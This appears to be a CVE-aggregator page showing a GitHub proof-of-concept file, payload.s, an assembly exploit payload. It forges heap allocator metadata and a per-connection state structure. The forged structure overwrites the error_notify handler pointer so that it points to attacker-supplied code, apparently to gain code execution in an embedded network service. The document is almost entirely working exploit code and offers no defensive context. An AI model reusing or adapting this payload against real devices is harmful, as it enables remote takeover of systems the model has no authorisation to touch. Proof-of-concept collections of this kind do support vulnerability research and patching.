5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / payload.s S
# SPDX-License-Identifier: MIT

.section .data.head

.set FREE_SIZE, 0x0000baac

.word 0x0c0ffee0 # magic for free block
.word 0x00000000 # null pointer means this is the last metadata block
.word FREE_SIZE  # length of block
.word 0x00000000 # padding

.fill FREE_SIZE, 1, 0 # pad until end of alloc block
.word 0xace0bace      # end of memory pool

# Outer alloc metadata
.word 0xdeadbeef # magic for in-use block
.word 0x2c119c58 # pointer to next alloc metadata block
.word 0x00000034 # length of block
.word 0x00000000 # padding

# Per-connection state tracking struct
.word 0x0000000b # sockfd
.word 0x00000000 # time_last_activity
.word 0x00000001 # state
.word 0x2c119c68 # mempool
.word 0x00000000 # env
.word 0x00000000 # status
.word 0x0043c7f4 # handler
.word start      # error_notify
.word 0x00000000 # close_notify
.word 0x00000000 # unknown, but used as an argument to close_notify
.word 0x00000000 # ssl_state
.word 0x00000000 # unknown
.word 0x2bf49168 # port